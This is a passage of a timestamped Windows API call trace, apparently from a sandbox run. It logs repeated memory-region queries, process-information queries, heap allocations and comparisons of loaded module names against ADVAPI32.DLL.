hProcess=0xffffffffffffffff, lpAddress=0x7fefeea0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefeea0000, AllocationBase=0x7fefeea0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.780] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.780] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.780] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd3a0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd3a0000, AllocationBase=0x7fefd3a0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.780] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.780] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd160000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd160000, AllocationBase=0x7fefd160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.780] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.780] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb5d0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb5d0000, AllocationBase=0x7fefb5d0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.781] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.781] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefac50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefac50000, AllocationBase=0x7fefac50000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.781] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.781] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb7e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb7e0000, AllocationBase=0x7fefb7e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.781] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.781] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf40000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcf40000, AllocationBase=0x7fefcf40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.781] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.781] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcf70000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcf70000, AllocationBase=0x7fefcf70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.781] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.781] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefba60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefba60000, AllocationBase=0x7fefba60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.781] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.781] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.781] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcfa0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcfa0000, AllocationBase=0x7fefcfa0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.781] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.782] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefcfe0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefcfe0000, AllocationBase=0x7fefcfe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.782] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.782] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefbbe0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefbbe0000, AllocationBase=0x7fefbbe0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.782] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.782] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb460000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb460000, AllocationBase=0x7fefb460000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.782] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.782] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.782] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.782] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa160000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa160000, AllocationBase=0x7fefa160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.782] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.782] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.782] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefed60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefed60000, AllocationBase=0x7fefed60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.782] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.782] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9ea0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9ea0000, AllocationBase=0x7fef9ea0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.783] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff340000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff340000, AllocationBase=0x7feff340000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.783] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff1c0000, AllocationBase=0x7feff1c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.783] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd1c0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd1c0000, AllocationBase=0x7fefd1c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.783] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd150000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd150000, AllocationBase=0x7fefd150000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.783] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd910000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd910000, AllocationBase=0x7fefd910000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.783] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.783] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.783] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.783] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9b80000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9b80000, AllocationBase=0x7fef9b80000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9b60000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9b60000, AllocationBase=0x7fef9b60000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9b50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9b50000, AllocationBase=0x7fef9b50000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a50000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a50000, AllocationBase=0x7fef9a50000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a40000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a40000, AllocationBase=0x7fef9a40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a30000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a30000, AllocationBase=0x7fef9a30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.784] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a20000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a20000, AllocationBase=0x7fef9a20000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.784] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.784] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.784] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.785] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef9a00000, AllocationBase=0x7fef9a00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.785] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.785] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.785] 